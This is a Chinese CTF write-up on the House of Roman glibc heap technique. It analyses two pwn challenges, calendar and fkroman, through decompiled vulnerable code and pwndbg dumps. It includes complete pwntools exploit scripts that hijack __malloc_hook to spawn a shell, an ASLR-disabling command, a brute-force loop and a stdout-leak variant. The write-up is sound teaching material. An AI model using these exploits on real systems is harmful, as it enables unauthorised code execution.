House-Of-Roman学习笔记
本文首发于:https://xz.aliyun.com/t/6549
最近整理护网杯的题目(今年护网杯凉了),发现去年还留下一题pwn没有完成,题目提示是house of roman,最近一次比赛也出现了一道叫fkroman的题目,估计也是涉及这个知识点,趁此机会学习一下house of roman,把去年留下的坑填上。
原理简述
House of Roman这个攻击方法由romanking98在2018年4月提出(作者GitHub:https://github.com/romanking98/House-Of-Roman ),主要用于程序无打印功能,在不泄露libc地址的前提下,通过低位地址写+爆破的方法来bypass ALSR。
忽略堆风水具体操作细节,简单总结House of Roman攻击原理就是:
- 通过低位地址写修改fastbin的fd,修改到
malloc_hook-0x23
- 通过unsortedbin attack,将
main_arean
地址写入malloc_hook
- 使用fastbin attack,通过低位地址写修改
malloc_hook
中的地址为one gadget
至于具体如何进行fastbin attack
和unsortedbin attack
,要根据题目进行具体分析,下面通过例题进行详细分析。
实战例题
进行本地调试时,可以先把ASLR关掉1
echo 0 > /proc/sys/kernel/randomize_va_space
完成exp后爆破使用脚本:1
2
for i in `seq 1 9999`; do python exp.py; done;
护网杯2018 calendar
1 | void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) |
程序菜单:1
2
3
4
5---------calendar management---------
1. add a schedule
2. edit a schedule
3. remove a schedule
4. exit
程序只有add,edit,remove 三个功能,跟常见的题目相比,明显少了一个show的功能,因此正常情况下缺少泄露地址的手段(当然有其他手段,暂且不提)。
漏洞点一:程序的读取输入函数存在off by one。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23__int64 __fastcall sub_B5F(__int64 a1, signed int a2)
{
char buf; // [rsp+13h] [rbp-Dh]
unsigned int i; // [rsp+14h] [rbp-Ch]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
for ( i = 0; (signed int)i <= a2; ++i )
{
if ( (signed int)read(0, &buf, 1uLL) <= 0 )
{
puts("read error");
exit(0);
}
if ( buf == 10 )
{
*(_BYTE *)((signed int)i + a1) = 0;
return i;
}
*(_BYTE *)(a1 + (signed int)i) = buf;
}
return i;
}
漏洞二:remove没有清空指针,存在double free。1
2
3
4
5
6
7
8void remove()
{
int v0; // [rsp+Ch] [rbp-4h]
v0 = day();
if ( v0 != -1 )
free((void *)qword_202060[v0]);
}
程序add的size最大只是0x68,因此不能直接申请到unsorted bins的大小,需要通过off by one修改chunk的size进行overlapping。
1 | add(0,0x18) # 0 |
修改前1
2
3
4
5
6pwndbg> x/32gx 0x556cfeda2000
0x556cfeda2000: 0x0000000000000000 0x0000000000000021
0x556cfeda2010: 0x0000000000000000 0x0000000000000000
0x556cfeda2020: 0x0000000000000000 0x0000000000000071
0x556cfeda2030: 0x0000000000000000 0x0000000000000000
0x556cfeda2040: 0x0000000000000000 0x0000000000000000
修改后,可以看到1号chunk的size变成了0xe11
2
3
4
5
6pwndbg> x/32gx 0x556cfeda2000
0x556cfeda2000: 0x0000000000000000 0x0000000000000021
0x556cfeda2010: 0x6161616161616161 0x6161616161616161
0x556cfeda2020: 0x6161616161616161 0x00000000000000e1
0x556cfeda2030: 0x0000000000000000 0x0000000000000000
0x556cfeda2040: 0x0000000000000000 0x0000000000000000
此时free掉1号chunk,会把2号chunk吞掉,组成一个0xe0大小的unsortedbin,这是本题得到libc地址的基础。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x556cfeda2020 —▸ 0x7fe8036d6b78 (main_arena+88) —▸ 0x556cfeda2020 ◂— 0x7fe8036d6b78
smallbins
empty
largebins
empty
攻击第一步:通过低位地址写修改fastbin的fd到malloc_hook-0x23
,为什么是这里?因为这里有一个0x7f,用于后续的fastbin attack。1
2
3
4
5pwndbg> x/8gx 0x7fe8036d6b10-0x23
0x7fe8036d6aed <_IO_wide_data_0+301>: 0xe8036d5260000000 0x000000000000007f
0x7fe8036d6afd: 0xe803397e20000000 0xe803397a0000007f
0x7fe8036d6b0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000
0x7fe8036d6b1d: 0x0100000000000000 0x0000000000000000
现在的任务是让fastbins链中写入一个libc的地址,我们可以在上面的代码做个小修改,在进行off by one之前,先把1号chunk释放掉,让它进入fastbins,再进行overlapping。1
2
3
4
5
6
7add(0,0x18) # 0
add(1,0x68) # 1
add(2,0x68) # 2
add(3,0x68) # 3
remove(1)
edit(0,0x18,'a'*0x18+'\xe1')
remove(1)
这样可以让fastbin和unsortedbin重叠1
2
3
4
5
6
7
8
9
10
11
12
13
14
15pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x55db47562020 —▸ 0x7f6faea28b78 (main_arena+88) —▸ 0x55db47562020 ◂— 0x7f6faea28b78
0x80: 0x0
unsortedbin
all: 0x55db47562020 —▸ 0x7f6faea28b78 (main_arena+88) —▸ 0x55db47562020 ◂— 0x7f6faea28b78
smallbins
empty
largebins
empty
然后申请一个非0x70大小的chunk(因为申请0x70大小会优先使用fastbin),此时会使用unsortedbin
进行分配,对此chunk进行edit就可以对fd进行低位地址写。1
2
3
4
5
6add(3,0x18) # 3
edit(3,0x1,p64(libc.sym['__malloc_hook']-0x23)[:2]) # p16(2aed)
edit(0,0x18,'a'*0x18+'\x71') # fix chunk size
add(1,0x68)
add(0,0x68) # __malloc_hook-0x13
完成后可以看到fastbin的fd指向_IO_wide_data_0+301
,也就是__malloc_hook-0x23
1 | pwndbg> bins |
再次使用off by one
重新修改0x55db47562020的size位为0x71,恢复fastbin的正常结构。进行两次分配后,可以申请到__malloc_hook-0x13
的位置,查看程序存储chunk地址的list可以看到0号chunk指向了__malloc_hook-0x13
。1
2
3
4
5pwndbg> x/8gx 0x55db46403000+0x202060
0x55db46605060: 0x00007f6faea28afd 0x000055db47562030
0x55db46605070: 0x000055db475620a0 0x000055db47562030
0x55db46605080: 0x0000000000000068 0x0000000000000068
0x55db46605090: 0x0000000000000068 0x0000000000000018
攻击第二步:通过unsortedbin attack,将main_arean
地址写入malloc_hook
。
由于本题限制了最大只能申请0x70大小的内存,因此在进行unsortedbin attack前,首先需要修复fastbin,不然后续会发生报错。修复方法很简单,free掉一个0x70大小的chunk,然后使用UAF将fd修改为0,然后申请一个0x70大小的chunk,清空fastbin。
1 | remove(1) |
首先申请一个0x50大小的,使unsortedbin与2号chunk重叠,然后直接对2号chunk进行edit,就可以进行低地址写,修改unsortedbin的bk为__malloc_hook-0x10
。然后申请一个0x70大小的chunk,触发unsortedbin attack,可以看到__malloc_hook
的值已被修改为main_arena+88
1 | add(3,0x48) |
1 | pwndbg> p __malloc_hook |
最后一步:使用fastbin attack,通过低位地址写修改malloc_hook
中的地址为one gadget
。
至此,一切攻击都准备就绪了。第一步完成时,3号chunk已经指向了__malloc_hook-0x13
,这里直接对3号chunk进行edit,修改__malloc_hook
的低3位地址为one gadget
。然后使用double free触发调用__malloc_hook
即可getshell。
1 | one_gadget = libc.address + 0xf02a4 |
1 | pwndbg> p __malloc_hook |
完整exp:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56from pwn import *
target = 'calendar'
elf = ELF('./'+target)
context.binary = './'+target
p = process('./'+target)
libc = elf.libc
def add(idx,size):
p.sendlineafter('choice> ','1')
p.sendlineafter('choice> ',str(idx+1))
p.sendlineafter('size> ',str(size))
def edit(idx,size,content):
p.sendlineafter('choice> ','2')
p.sendlineafter('choice> ',str(idx+1))
p.sendlineafter('size> ',str(size))
p.sendafter('info> ',content)
def remove(idx):
p.sendlineafter('choice> ','3')
p.sendlineafter('choice> ',str(idx+1))
libc.address = 0x233000
p.sendlineafter('name> ','kira')
add(0,0x18) # 0
add(1,0x68) # 1
add(2,0x68) # 2
add(3,0x68) # 3
remove(1)
edit(0,0x18,'a'*0x18+'\xe1')
remove(1)
add(3,0x18) # 3
edit(3,0x1,p64(libc.sym['__malloc_hook']-0x23)[:2])
edit(0,0x18,'a'*0x18+'\x71') # fix chunk size
add(1,0x68)
add(0,0x68) # __malloc_hook-0x13
remove(1)
edit(1,7,p64(0)) # fix fastbins
add(3,0x68)
add(3,0x48)
edit(2,0x8+1,p64(0)+p64(libc.sym['__malloc_hook']-0x10)[:2])
add(3,0x68)
#one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget = libc.address + 0xf02a4
edit(0,0x13+2,'a'*0x13+p64(one_gadget)[:3])
remove(3)
remove(3)
p.interactive()
云安全共测大赛 fkroman
1 | __int64 __fastcall main(__int64 a1, char **a2, char **a3) |
程序菜单:1
2
3
4
51.alloc
2.show
3.free
4.edit
5.exit
虽然菜单里面有show,然而是用不了的。跟上一题类似,有alloc,free,edit的功能,没有打印信息的函数。
漏洞一:free之后没有清空指针,存在double free。1
2
3
4
5
6
7
8
9
10
11int __fastcall remove(unsigned int a1)
{
int result; // eax
if ( a1 <= 0xFF )
{
free((void *)qword_4060[a1]);
result = puts("Done!\n");
}
return result;
}
漏洞二:edit的时候,输入长度由用户输入决定,直接就是一个堆溢出。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18unsigned __int64 __fastcall edit(unsigned int a1)
{
int v1; // ST1C_4
char nptr; // [rsp+20h] [rbp-20h]
unsigned __int64 v4; // [rsp+38h] [rbp-8h]
v4 = __readfsqword(0x28u);
if ( a1 <= 0xFF && qword_4060[a1] )
{
printf("Size: ");
get_str((__int64)&nptr, 16);
v1 = atoi(&nptr);
printf("Content: ", 16LL);
get_str(qword_4060[a1], v1);
puts("Done!\n");
}
return __readfsqword(0x28u) ^ v4;
}
另外本题alloc时大小可控,没有限制,相比上一题难度低不少。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18unsigned __int64 __fastcall add(unsigned int a1)
{
size_t size; // [rsp+1Ch] [rbp-24h]
unsigned __int64 v3; // [rsp+38h] [rbp-8h]
v3 = __readfsqword(0x28u);
if ( a1 <= 0xFF )
{
printf("Size: ");
get_str((__int64)&size + 4, 16);
LODWORD(size) = atoi((const char *)&size + 4);
qword_4060[a1] = malloc((unsigned int)size);
if ( !qword_4060[a1] )
exit(0);
puts("Done!\n");
}
return __readfsqword(0x28u) ^ v3;
}
由于本题的漏洞时堆溢出,因此有部分攻击过程会比上题简单一点。第一步同样是通过修改chunk的size进行overlapping,制造重叠的chunk。唯一不同的地方是,进行修改的fastbin的fd和修复fastbin size为0x71的步骤,可以通过一次edit完成。1
2
3
4
5
6
7
8
9
10
11
12
13alloc(0,0x10)
alloc(1,0x60)
alloc(2,0x60)
alloc(3,0x60)
free(1)
edit(0,0x20,flat(0,0,0,0xe1))
free(1)
edit(0,0x22,flat(0,0,0,0x71)+p64(libc.sym['__malloc_hook']-0x23)[:2])
alloc(4,0x60)
alloc(5,0x60) # __malloc_hook
这题也没有限制malloc大小,可以直接申请大于0x70大小的chunk,因此修复fastbin链的步骤也可以跳过。上一个步骤是直接使用堆溢出来修改fd,没有申请chunk,制造重叠chunk进行edit,此时unsortdbin的位置没有变动。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0xab7cebee20000000
0x80: 0x0
unsortedbin
all: 0x56160694b020 —▸ 0x7fab7d1fdaed (_IO_wide_data_0+301) ◂— 0xab7cebee20000000
smallbins
empty
largebins
empty
继续对0号chunk进行堆溢出就可以修改unsortedbin的BK,注意需要把chunk size修复为0xe1。这里我没有使用double free触发报错,直接调用malloc就成功getshell。1
2
3
4
5edit(0,0x22+8,flat(0,0,0,0xe1,0)+p64(libc.sym['__malloc_hook']-0x10)[:2])
alloc(6,0xd0) # unsorted bins
one_gadget = libc.address + 0xf1147
edit(5,0x16,'a'*0x13+p64(one_gadget)[:3])#5cf147 ba1147
alloc(8,0x60)
完整EXP:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39def pwn():
def alloc(idx,size):
p.sendlineafter('choice: ','1')
p.sendlineafter('Index: ',str(idx))
p.sendlineafter('Size: ',str(size))
def free(idx):
p.sendlineafter('choice: ','3')
p.sendlineafter('Index: ',str(idx))
def edit(idx,size,content):
p.sendlineafter('choice: ','4')
p.sendlineafter('Index: ',str(idx))
p.sendlineafter('Size: ',str(size))
p.sendafter('Content: ',content)
# house of roman
libc.address = 0x233000
alloc(0,0x10)
alloc(1,0x60)
alloc(2,0x60)
alloc(3,0x60)
free(1)
edit(0,0x20,flat(0,0,0,0xe1))
free(1)
# fastbin attack
edit(0,0x22,flat(0,0,0,0x71)+p64(libc.sym['__malloc_hook']-0x23)[:2])
alloc(4,0x60)
alloc(5,0x60) # __malloc_hook
# unsortedbin attack
edit(0,0x22+8,flat(0,0,0,0xe1,0)+p64(libc.sym['__malloc_hook']-0x10)[:2])
alloc(6,0xd0) # unsorted bins
#one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget = libc.address + 0xf1147
edit(5,0x16,'a'*0x13+p64(one_gadget)[:3])#5cf147 ba1147
alloc(8,0x60)
p.interactive()
这题比护网杯的简单,不过核心的思路仍然是fastbin attack和unsortedbin attack。
更多思考
重新打开ASLR进行测试exp时,脸黑的兄弟会发现跑了很久很久都不成功,因为House-Of-Roman成功率实在有点感人,虽然大幅度降低了爆破的范围,仍然需要爆破12bit,也就是1/4096的成功率。今年各大比赛见过不少没有打印功能的题目,却鲜有人提及House-Of-Roman,为何?
原因很简单,因为有更好更稳定的攻击手段,就是修改IO_FILE
结构体进行地址泄漏。以第二题fkroman为例,在第一步进行fastbin attack时,将fd修改至stdout附近,然后修改stdout结构体,即可泄漏libc地址,后面修改__malloc_hook
就无需进行低地址写爆破,将成功率提高到1/16,非洲人福音。
_IO_2_1_stdout_
泄露地址的方法看其他大佬的文章,这里不展开说了,可以参考:https://xz.aliyun.com/t/5057
fkroman的exp可修改为:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40def pwn():
def alloc(idx,size):
p.sendlineafter('choice: ','1')
p.sendlineafter('Index: ',str(idx))
p.sendlineafter('Size: ',str(size))
def free(idx):
p.sendlineafter('choice: ','3')
p.sendlineafter('Index: ',str(idx))
def edit(idx,size,content):
p.sendlineafter('choice: ','4')
p.sendlineafter('Index: ',str(idx))
p.sendlineafter('Size: ',str(size))
p.sendafter('Content: ',content)
global p
alloc(0,0x10)
alloc(1,0x60)
alloc(2,0x60)
alloc(3,0x60)
free(1)
edit(0,0x20,flat(0,0,0,0xe1))
free(1)
edit(0,0x22,flat(0,0,0,0x71)+p16(0x65dd))
alloc(4,0x60)
alloc(5,0x60)
edit(5,0x54,'a'*0x33+p64(0xfbad2887|0x1000)+p64(0)*3+'\x00')
libc.address = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - libc.sym['_IO_2_1_stderr_'] - 192
success(hex(libc.address))
free(2)
edit(2,0x8,p64(libc.sym['__malloc_hook']-0x23))
alloc(6,0x60)
alloc(7,0x60)
edit(7,0x1b,'a'*0x13+p64(libc.address+0xf1147))
alloc(8,0x60)
p.interactive()
用这个exp的成功率大大提升,各位非洲人可以试试。
总结
House-Of-Roman的攻击思路很值得学习,不过改修改IO_FILE
结构体的方法成功率更高,本地测试基本秒出,正常情况下还是优先考虑用此方法。
参考
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/house_of_roman-zh/